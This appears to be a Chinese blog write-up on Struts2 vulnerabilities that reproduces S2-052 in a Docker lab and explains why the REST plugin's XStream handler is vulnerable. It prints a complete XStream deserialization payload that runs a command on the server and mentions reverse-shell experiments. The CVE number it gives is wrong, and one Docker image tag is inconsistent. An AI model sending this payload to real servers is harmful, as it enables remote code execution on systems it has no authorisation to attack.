淺談struts2漏洞（檢測工具及S2-052漏洞及漏洞平臺的搭建復現）

簡介：

struts2是apache項目下的一個web框架，主要應用於各類門戶網站，而相對應的漏洞則是從2007年7月23日發佈的第一個Struts2漏洞S2-001到2018年的S2-057，跨度還是很多的，以前學習的時候也是聽說，基本上Struts每發佈一個版本都會存在漏洞，根據Freebuf上的文章顯示，漏洞的類型基本上是RCE,XSS,CSRF,DOS，目錄遍歷和其他功能缺陷漏洞等。風靡一時的漏洞則有S2-003、S2-005、S2-007、S2-008、S2-009、S2-012、S2-013、S2-015、S2-016、S2-019、S2-029、S2-032、S2-033、S2-037、S2-045、S2-046、S2-048、S2-052。

除了S2-052以外，其他的漏洞產生原因都是執行了惡意用戶傳進來的OGNL表達式，造成遠程代碼執行，可以造成命令執行，服務器文件操作，打印回顯，獲取系統i屬性，危險代碼執行等，只不需要進行構造不同的OGNL代碼而已

OGNL:對象導航圖語言（Object Graph Navigation Language），簡稱OGNL,是應用於java中的一個開源表達式語言，他被集成在Struts2等框架中。作用是對數據進行訪問，它擁有對數據進行訪問，它擁有類型轉換，訪問對象方法，操作集合對象等功能。

上述內容源自百度百科和Freebuf

Struts2著名RCE漏洞引發的十年之思

OGNL簡介

接下來我介紹下我遇到的S2-052漏洞：

首先我對目標進行滲透測試的時候，首先使用awvs將收集到的子域名都導入到awvs中過了一遍，掃描器個我報了其中一個鏈接存在Struts2-052漏洞，於是我開始了檢查漏洞是否誤報檢查漏洞是否可以利用的工作，但是全部都失敗了，首先是使用了Struts2檢測工具進行檢測，發現不存在S2-052漏洞

工具地址：

Struts2全漏洞掃描利用工具

然而我TM的並沒有發現存在S2-052漏洞，我就想“誤報了，完蛋了，要加班了”，這是後話，我想，既然碰到了，雖然誤報，但是我還是把這個漏洞搞搞清楚吧

S2-052漏洞：

漏洞編號：CVE-2017-9085

影響版本：Struts2.1.2-Struts2.3..33，Strus2.5-Struts2.5.12

漏洞產生原因：當用戶使用帶有Xstream程序的Struts REST插件來處理XML payload時，可能會遭到遠程代碼執行攻擊。

漏洞復現過程：網上有不同的復現教程，我使用的docker鏡像來複現。

拖取鏡像：

docker pull medicean/vulapps:s_struts2_s2-052

啓動環境：

docker run -d -p 80:8080 -v /tmp/:/tmp/ medicean/vulapps:s_struts2_s-052

啓動成功後訪問:

成功搭建測試環境

接下來抓包:我直接抓了這個界面的刷新的包

然後burp將數據包改爲post請求

將content-Type改爲application/xml,同時將payload粘貼進來

payload:

<map>
<entry>
     <jdk.nashorn.internal.objects.NativeString>
       <flags>0</flags>
       <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
         <dataHandler>
           <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
             <is class="javax.crypto.CipherInputStream">
               <cipher class="javax.crypto.NullCipher">
                 <initialized>false</initialized>
                 <opmode>0</opmode>
                 <serviceIterator class="javax.imageio.spi.FilterIterator">
                   <iter class="javax.imageio.spi.FilterIterator">
                     <iter class="java.util.Collections$EmptyIterator"/>
                     <next class="java.lang.ProcessBuilder">
                       <command>
<string>touch</string>
<string>/tmp/test.txt</string>
                       </command>
                       <redirectErrorStream>false</redirectErrorStream>
                     </next>
                   </iter>
                   <filter class="javax.imageio.ImageIO$ContainsFilter">
                     <method>
                       <class>java.lang.ProcessBuilder</class>
                       <name>start</name>
                       <parameter-types/>
                     </method>
                     <name>foo</name>
                   </filter>
                   <next class="string">foo</next>
                 </serviceIterator>
                 <lock/>
               </cipher>
               <input class="java.lang.ProcessBuilder$NullInputStream"/>
               <ibuffer/>
               <done>false</done>
               <ostart>0</ostart>
               <ofinish>0</ofinish>
               <closed>false</closed>
             </is>
             <consumed>false</consumed>
           </dataSource>
           <transferFlavors/>
         </dataHandler>
         <dataLen>0</dataLen>
       </value>
     </jdk.nashorn.internal.objects.NativeString>
     <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
   </entry>
   <entry>
     <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
     <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
   </entry>
 </map>

Forward這個數據包,服務器會報錯,但是命令是執行成功了的

本地的tmp目錄下成功創建了一個testtest的空文件

復現成功

知其然，也要知其所以然，我這裏淺顯的介紹下爲什麼會要這樣復現

第一：爲什麼要修改contenttype爲application/xml

根據該漏洞的發現者的文章指出，是一個叫contentHandler的地方有問題

而這個contentHandler實際上是按照contenttype的不同，將請求的數據丟個指定的子類進行處理，而恰恰當contenttype爲application/xml時，contenthandle將數據分發給了XStreamHandler這個類來進行處理，而這個類恰恰沒有進行任何的校驗，直接對數據進行了處理，導致了可以執行我們的payload

而後我做了一下兩個實驗，

1.實驗文件讀取和反彈shell

2.文件讀取會遇到對> |這些符號的限制，

反彈shell的時候記得填寫上去的ip爲攻擊者的ip

以上就是我對該漏洞的復現的學習，以下是借鑑的優秀的文章：

Struts S2-052反彈Shell實驗

Struts2 S2-052漏洞分析